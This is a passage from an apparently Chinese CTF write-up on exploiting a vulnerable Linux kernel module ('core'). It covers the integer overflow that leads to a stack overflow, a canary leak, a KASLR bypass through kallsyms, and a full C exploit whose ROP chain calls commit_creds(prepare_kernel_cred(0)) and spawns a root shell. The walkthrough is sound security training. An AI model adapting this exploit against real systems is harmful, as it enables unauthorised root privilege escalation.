class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">__int64 __fastcall <span class="title function_">core_copy_func</span><span class="params">(__int64 a1)</span></span><br><span class="line">&#123;</span><br><span class="line">  __int64 result; <span class="comment">// rax</span></span><br><span class="line">  _QWORD v2[<span class="number">10</span>]; <span class="comment">// [rsp+0h] [rbp-50h] BYREF</span></span><br><span class="line"></span><br><span class="line">  v2[<span class="number">8</span>] = __readgsqword(<span class="number">0x28u</span>);</span><br><span class="line">  printk(&amp;unk_215);</span><br><span class="line">  <span class="keyword">if</span> ( a1 &gt; <span class="number">63</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    printk(&amp;unk_2A1);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0xFFFFFFFFL</span>L;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    result = <span class="number">0LL</span>;</span><br><span class="line">    qmemcpy(v2, &amp;name, (<span class="type">unsigned</span> __int16)a1);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>函数可以从name拷贝小于63个字节到v2数组，而这里存在整形溢出，在qmemcpy中使用了unsigned，而传入时是__int64，因此可以产生栈溢出。</p><h4 id="exit-module"><a href="#exit-module" class="headerlink" title="exit_module"></a>exit_module</h4><p>一个退出模块的函数</p><h2 id="基本思路"><a href="#基本思路" class="headerlink" title="基本思路"></a>基本思路</h2><h3 id="basic"><a href="#basic" class="headerlink" title="basic"></a>basic</h3><p>这里直接偷了a3✌的文</p><p>ROP即<code>返回导向编程</code>（Return-oriented programming），应当是大家比较熟悉的一种攻击方式——通过复用代码片段的方式控制程序执行流</p><p>✳ <strong>内核态的 ROP 与用户态的 ROP 一般无二，只不过利用的 gadget 变成了内核中的 gadget，所需要构造执行的 ropchain 由</strong><code>system(&quot;/bin/sh&quot;)</code><strong>变为了</strong> <code>commit_creds(prepare_kernel_cred(&amp;init_task)) 或 commit_creds(&amp;init_cred)</code></p><p>当成功执行如上函数之后，当前线程的 cred 结构体便变为 init 进程的 cred 的拷贝，我们也就获得了 root 权限，此时在用户态起一个 shell 便能获得 root shell</p><ul><li>需要注意的是 <strong>旧版本内核上所用的提权方法 <code>commit_creds(prepare_kernel_cred(NULL))</code> 已经不再能被使用，在高版本的内核当中 <code>prepare_kernel_cred(NULL)</code> 将不再返回一个 root cred</strong>，这也令 ROP chain 的构造变为更加困难 ：(</li></ul><h3 id="状态保存"><a href="#状态保存" class="headerlink" title="状态保存"></a>状态保存</h3><p>再偷~~~</p><p>通常情况下，我们的exploit需要进入到内核当中完成提权，而我们最终仍然需要<strong>着陆回用户态</strong>以获得一个root权限的shell，因此在我们的exploit进入内核态之前我们需要<strong>手动模拟用户态进入内核态的准备工作</strong>——<strong>保存各寄存器的值到内核栈上</strong>，以便于后续着陆回用户态</p><p>通常情况下使用如下函数保存各寄存器值到我们自己定义的变量中，以便于构造 rop 链：</p><blockquote><p>算是一个通用的pwn板子</p><p>方便起见，使用了内联汇编，编译时需要指定参数：<code>-masm=intel</code></p></blockquote><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">size_t</span> user_cs, user_ss, user_rflags, user_sp;</span><br><span class="line"><span class="type">void</span> <span class="title function_">saveStatus</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">    __asm__(<span class="string">&quot;mov user_cs, cs;&quot;</span></span><br><span class="line">            <span class="string">&quot;mov user_ss, ss;&quot;</span></span><br><span class="line">            <span class="string">&quot;mov user_sp, rsp;&quot;</span></span><br><span class="line">            <span class="string">&quot;pushf;&quot;</span></span><br><span class="line">            <span class="string">&quot;pop user_rflags;&quot;</span></span><br><span class="line">            );</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;\033[34m\033[1m[*] Status has been saved.\033[0m&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><h3 id="获取函数地址及KASLR偏移"><a href="#获取函数地址及KASLR偏移" class="headerlink" title="获取函数地址及KASLR偏移"></a>获取函数地址及KASLR偏移</h3><p>在用户态的ROP中，我们时常需要获取system函数的地址。在内核态中，也是同样的。不同的是我们需要读取<code>/proc/kallsyms</code>来获取<code>commit_creds</code>和<code>prepare_kernel_cred</code>的函数地址。</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line">FILE* sym_table_fd = fopen(<span class="string">&quot;/tmp/kallsyms&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line"><span class="keyword">if</span>(sym_table_fd &lt; <span class="number">0</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n&quot;</span>);</span><br><span class="line">       <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">char</span> buf[<span class="number">0x50</span>], type[<span class="number">0x10</span>];</span><br><span class="line"><span class="type">size_t</span> addr;</span><br><span class="line"><span class="comment">//获取commit_creds和prepare_kernel_cred函数地址</span></span><br><span class="line"><span class="keyword">while</span>(<span class="built_in">fscanf</span>(sym_table_fd, <span class="string">&quot;%llx%s%s&quot;</span>, &amp;addr, type, buf))</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span>(prepare_kernel_cred &amp;&amp; commit_creds)</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(!commit_creds &amp;&amp; !<span class="built_in">strcmp</span>(buf, <span class="string">&quot;commit_creds&quot;</span>))</span><br><span class="line">&#123;</span><br><span class="line">commit_creds = addr;</span><br><span class="line">           <span class="built_in">printf</span>(<span class="string">&quot;\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n&quot;</span>, commit_creds);</span><br><span class="line">           <span class="keyword">continue</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(!<span class="built_in">strcmp</span>(buf, <span class="string">&quot;prepare_kernel_cred&quot;</span>))</span><br><span class="line">       &#123;</span><br><span class="line">           prepare_kernel_cred = addr;</span><br><span class="line">           <span class="built_in">printf</span>(<span class="string">&quot;\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n&quot;</span>, prepare_kernel_cred);</span><br><span class="line">          <span class="keyword">continue</span>;</span><br><span class="line">       &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//0xffffffff8109c8e0通过cat /tmp/kallsyms | grep &#x27;commit_creds&#x27;得到</span></span><br><span class="line"><span class="comment">//为未开启KASLR前的固定地址，相减后求出offset</span></span><br><span class="line"><span class="type">size_t</span> offset = commit_creds - <span class="number">0xffffffff8109c8e0</span>;</span><br></pre></td></tr></table></figure></div><p>首先我们需要在qemu的启动参数中将<code>kaslr</code>改成<code>nokaslr</code>，然后启动执行<code>cat /tmp/kallsyms | grep &#39;commit_creds&#39;</code>，即可得到未偏移的地址。然后在开启后再次获取，计算偏移，即可绕过KASLR。</p><h3 id="泄露canary"><a href="#泄露canary" class="headerlink" title="泄露canary"></a>泄露canary</h3><p>可以直接设置off变量，然后调用<code>core_read</code>函数泄露</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//get the canary</span></span><br><span class="line"><span class="type">size_t</span> canary;</span><br><span class="line">set_off_value(fd, <span class="number">64</span>);<span class="comment">//数组的第64项恰好越界到canary</span></span><br><span class="line">core_read(fd, buf);</span><br><span class="line">canary = ((<span class="type">size_t</span> *)buf)[<span class="number">0</span>];</span><br></pre></td></tr></table></figure></div><h3 id="构造ROP链"><a href="#构造ROP链" class="headerlink" title="构造ROP链"></a>构造ROP链</h3><p>ROP链要完成的事情就是<code>commit_creds(prepare_kernel_cred(NULL))</code>，然后着陆回用户态执行<code>system(&#39;/bin/sh&#39;)</code>获得一个shell</p><p>在这个过程中就必须要有一些gadget，用ROPgadget或者ropper，有时候这两个会有一个很慢或者找不到，这时用另一个就行了。找到后加上之前算出来的ASLR偏移就行。</p><p>查找gadget其实还可以直接<code>objdump -D ./vmlinux &gt; ../asm</code>把整个程序的反汇编dump出来，然后直接用vim搜，不过汇编格式是AT&amp;T风格</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">define</span> POP_RDI_RET 0xffffffff81000b2f</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> POP_RDX_RET 0xffffffff810a0f49</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> POP_RCX_RET 0xffffffff81021e53</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> SWAPGS_POPFQ_RET 0xffffffff81a012da</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IRETQ 0xffffffff81050ac2</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//construct the rop chain</span></span><br><span class="line"><span class="type">size_t</span> rop_chain[<span class="number">0x100</span>], i=<span class="number">0</span>;</span><br><span class="line"><span class="keyword">for</span>(; i &lt; <span class="number">10</span>; i++)</span><br><span class="line">    rop_chain[i] = canary;</span><br><span class="line">rop_chain[i++] = POP_RDI_RET + offset;</span><br><span class="line">    rop_chain[i++] = <span class="number">0</span>;</span><br><span class="line">    rop_chain[i++] = prepare_kernel_cred;</span><br><span class="line">    rop_chain[i++] = POP_RDX_RET + offset;</span><br><span class="line">    rop_chain[i++] = POP_RCX_RET + offset; <span class="comment">// just to clear the useless stack data</span></span><br><span class="line">    rop_chain[i++] = MOV_RDI_RAX_CALL_RDX + offset;</span><br><span class="line">    rop_chain[i++] = commit_creds;</span><br><span class="line">    rop_chain[i++] = SWAPGS_POPFQ_RET + offset;</span><br><span class="line">    rop_chain[i++] = <span class="number">0</span>;</span><br><span class="line">    rop_chain[i++] = IRETQ + offset;</span><br><span class="line">    rop_chain[i++] = (<span class="type">size_t</span>)get_root_shell;</span><br><span class="line">    rop_chain[i++] = user_cs;</span><br><span class="line">    rop_chain[i++] = user_rflags;</span><br><span class="line">    rop_chain[i++] = user_sp;</span><br><span class="line">    rop_chain[i++] = user_ss;</span><br></pre></td></tr></table></figure></div><blockquote><p>关于着陆回用户态，这里再偷个a3✌的文：</p><p>在<a class="link"   href="https://arttnba3.cn/2021/02/21/OS-0X00-LINUX-KERNEL-PART-I/#IV-%E5%86%85%E6%A0%B8%E6%80%81-%E2%80%94-gt-%E7%94%A8%E6%88%B7%E6%80%81" > 这篇博客 <i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a>当中笔者简要叙述了内核态返回用户态的过程：</p><ul><li><code>swapgs</code>指令恢复用户态GS寄存器</li><li><code>sysretq</code>或者<code>iretq</code>恢复到用户空间</li></ul><p>那么我们只需要在内核中找到相应的gadget并执行<code>swapgs;iretq</code>就可以成功着陆回用户态</p><p>通常来说，我们应当构造如下rop链以返回用户态并获得一个shell：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">↓   swapgs</span><br><span class="line">    iretq</span><br><span class="line">    user_shell_addr</span><br><span class="line">    user_cs</span><br><span class="line">    user_eflags //64bit user_rflags</span><br><span class="line">    user_sp</span><br><span class="line">    user_ss</span><br></pre></td></tr></table></figure></div></blockquote><h3 id="关于调试"><a href="#关于调试" class="headerlink" title="关于调试"></a>关于调试</h3><p>对于pwn题，调试无疑是重中之重。在该题目中，qemu的启动参数中出现了<code>-s</code>选项，表示预留了<code>tcp::1234</code>端口供gdb调试，如果没有，也可以手动添加<code>-gdb tcp::1234</code>，然后gdb可以<code>target remote :1234</code>远程连接。</p><p>同时我们需要手动导入符号表，首先在<code>init</code>文件中添加<code>cat /sys/module/core/sections/.text &gt; /tmp/info</code>将符号表备份到<code>/tmp/info</code>位置，然后运行，例如得到</p><div class="code-container" data-rel="Shell"><figure class="iseeu highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">/tmp $ cat info</span><br><span class="line">0xffffffffc030c000</span><br></pre></td></tr></table></figure></div><p>那么在gdb连接之后可以<code>add-symbol-file ./core/core.ko 0xffffffffc030c000</code>添加符号表，然后就可以正常下断点了</p><h2 id="exp"><a href="#exp" class="headerlink" title="exp"></a>exp</h2><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;unistd.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;fcntl.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;sys/types.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> POP_RDI_RET 0xffffffff81000b2f</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> POP_RDX_RET 0xffffffff810a0f49</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> POP_RCX_RET 0xffffffff81021e53</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> SWAPGS_POPFQ_RET 0xffffffff81a012da</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IRETQ 0xffffffff81050ac2</span></span><br><span class="line"></span><br><span class="line"><span class="type">size_t</span> commit_creds = <span class="literal">NULL</span>, prepare_kernel_cred = <span class="literal">NULL</span>;</span><br><span class="line"></span><br><span class="line"><span class="type">size_t</span> user_cs, user_ss, user_rflags, user_sp;</span><br><span class="line"><span class="type">void</span> <span class="title function_">save_status</span><span class="params">()</span><span class="comment">//保存用户态的各寄存器的值</span></span><br><span class="line">&#123;</span><br><span class="line">__asm__(<span class="string">&quot;mov user_cs, cs;&quot;</span></span><br><span class="line"><span class="string">&quot;mov user_ss, ss;&quot;</span></span><br><span class="line"><span class="string">&quot;mov user_sp, rsp;&quot;</span></span><br><span class="line"><span class="string">&quot;pushf;&quot;</span></span><br><span class="line"><span class="string">&quot;pop user_rflags;&quot;</span></span><br><span class="line">);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;\033[34m\033[1m[*] Status has been saved.\033[0m\n&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">get_root_shell</span><span class="params">(<span class="type">void</span>)</span><span class="comment">//执行system(&quot;/bin/sh&quot;)进入交互模式</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span>(getuid())</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;\033[31m\033[1m[x] Failed to get the root!\033[0m\n&quot;</span>);</span><br><span class="line"><span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n&quot;</span>);</span><br><span class="line">    system(<span class="string">&quot;/bin/sh&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">core_read</span><span class="params">(<span class="type">int</span> fd, <span class="type">char</span> *buf)</span></span><br><span class="line">&#123;</span><br><span class="line">ioctl(fd, <span class="number">0x6677889b</span>, buf);        <span class="comment">//core_read</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">set_off_value</span><span class="params">(<span class="type">int</span> fd, <span class="type">size_t</span> off)</span></span><br><span class="line">&#123;</span><br><span class="line">ioctl(fd, <span class="number">0x6677889c</span>, off);<span class="comment">//set off</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">core_copy_func</span><span class="params">(<span class="type">int</span> fd, <span class="type">size_t</span> nbytes)</span></span><br><span class="line">&#123;</span><br><span class="line">ioctl(fd, <span class="number">0x6677889a</span>, nbytes);<span class="comment">//copy nbytes from bss to stack </span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;\033[34m\033[1m[*] Start to exploit...\033[0m\n&quot;</span>);</span><br><span class="line">save_status();</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> fd = open(<span class="string">&quot;/proc/core&quot;</span>, <span class="number">2</span>);</span><br><span class="line"><span class="keyword">if</span>(fd &lt; <span class="number">0</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;\033[31m\033[1m[x] Failed to open the file: /proc/core !\033[0m\n&quot;</span>);</span><br><span class="line">        <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">FILE* sym_table_fd = fopen(<span class="string">&quot;/tmp/kallsyms&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line"><span class="keyword">if</span>(sym_table_fd &lt; <span class="number">0</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n&quot;</span>);</span><br><span class="line">        <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">char</span> buf[<span class="number">0x50</span>], type[<span class="number">0x10</span>];</span><br><span class="line"><span class="type">size_t</span> addr;</span><br><span class="line"><span class="comment">//获取commit_creds和prepare_kernel_cred函数地址</span></span><br><span class="line"><span class="keyword">while</span>(<span class="built_in">fscanf</span>(sym_table_fd, <span class="string">&quot;%llx%s%s&quot;</span>, &amp;addr, type, buf))</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span>(prepare_kernel_cred &amp;&amp; commit_creds)</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(!commit_creds &amp;&amp; !<span class="built_in">strcmp</span>(buf, <span class="string">&quot;commit_creds&quot;</span>))</span><br><span class="line">&#123;</span><br><span class="line">commit_creds = addr;</span><br><span class="line">            <span class="built_in">printf</span>(<span class="string">&quot;\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n&quot;</span>, commit_creds);</span><br><span class="line">            <span class="keyword">continue</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(!<span class="built_in">strcmp</span>(buf, <span class="string">&quot;prepare_kernel_cred&quot;</span>))</span><br><span class="line">        &#123;</span><br><span class="line">            prepare_kernel_cred = addr;</span><br><span class="line">            <span class="built_in">printf</span>(<span class="string">&quot;\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n&quot;</span>, prepare_kernel_cred);</span><br><span class="line">           <span class="keyword">continue</span>;</span><br><span class="line">        &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//0xffffffff8109c8e0通过cat /tmp/kallsyms | grep &#x27;commit_creds&#x27;得到</span></span><br><span class="line"><span class="comment">//为未开启KASLR前的固定地址，相减后求出offset</span></span><br><span class="line"><span class="type">size_t</span> offset = commit_creds - <span class="number">0xffffffff8109c8e0</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">//get the canary</span></span><br><span class="line"><span class="type">size_t</span> canary;</span><br><span class="line">set_off_value(fd, <span class="number">64</span>);<span class="comment">//数组的第64项恰好越界到canary</span></span><br><span class="line">core_read(fd, buf);</span><br><span class="line">canary = ((<span class="type">size_t</span> *)buf)[<span class="number">0</span>];</span><br><span class="line"></span><br><span class="line"><span class="comment">//construct the rop chain</span></span><br><span class="line"><span class="type">size_t</span> rop_chain[<span class="number">0x100</span>], i=<span class="number">0</span>;</span><br><span class="line"><span class="keyword">for</span>(; i &lt; <span class="number">10</span>; i++)</span><br><span class="line">rop_chain[i] = canary;</span><br><span class="line">rop_chain[i++] = POP_RDI_RET + offset;</span><br><span class="line">    rop_chain[i++] = <span class="number">0</span>;</span><br><span class="line">    rop_chain[i++] = prepare_kernel_cred;</span><br><span class="line">    rop_chain[i++] = POP_RDX_RET + offset;</span><br><span class="line">    rop_chain[i++] = POP_RCX_RET + offset; <span class="comment">// just to clear the useless stack data</span></span><br><span class="line">    rop_chain[i++] = MOV_RDI_RAX_CALL_RDX + offset;</span><br><span class="line">    rop_chain[i++] = commit_creds;</span><br><span class="line">    rop_chain[i++] = SWAPGS_POPFQ_RET + offset;</span><br><span class="line">    rop_chain[i++] = <span class="number">0</span>;</span><br><span class="line">    rop_chain[i++] = IRETQ + offset;</span><br><span class="line">    rop_chain[i++] = (<span class="type">size_t</span>)get_root_shell;</span><br><span class="line">    rop_chain[i++] = user_cs;</span><br><span class="line">    rop_chain[i++] = user_rflags;</span><br><span class="line">    rop_chain[i++] = user_sp;</span><br><span class="line">    rop_chain[i++] = user_ss;</span><br><span class="line"></span><br><span class="line">core_write(fd, rop_chain, <span class="number">0x800</span>);</span><br><span class="line">core_copy_func(fd, <span class="number">0xffffffffffff0000</span> | (<span class="number">0x100</span>));</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><h2 id="ret2usr"><a href="#ret2usr" class="headerlink" title="ret2usr"></a>ret2usr</h2><h3 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h3><p>该攻击方式如其字面意思，通过返回到用户空间来提权。因为在kernel pwn中，用户空间完全由我们控制，因此只要我们知道<code>prepare_kernel_cred</code>和<code>commit_creds</code>函数的地址，<strong>并且程序没有开启SMAP&#x2F;SMEP保护</strong>，那么我们就可以直接返回到用户空间执行提权代码，最后着陆回用户态即可。</p><h3 id="思路"><a href="#思路" class="headerlink" title="思路"></a>思路</h3><p>实际上和直接进行rop没有太大区别，就是不需要寻找太多gadget来进行利用了。</p><h3 id="exp-1"><a href="#exp-1" class="headerlink" title="exp"></a>exp</h3><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span 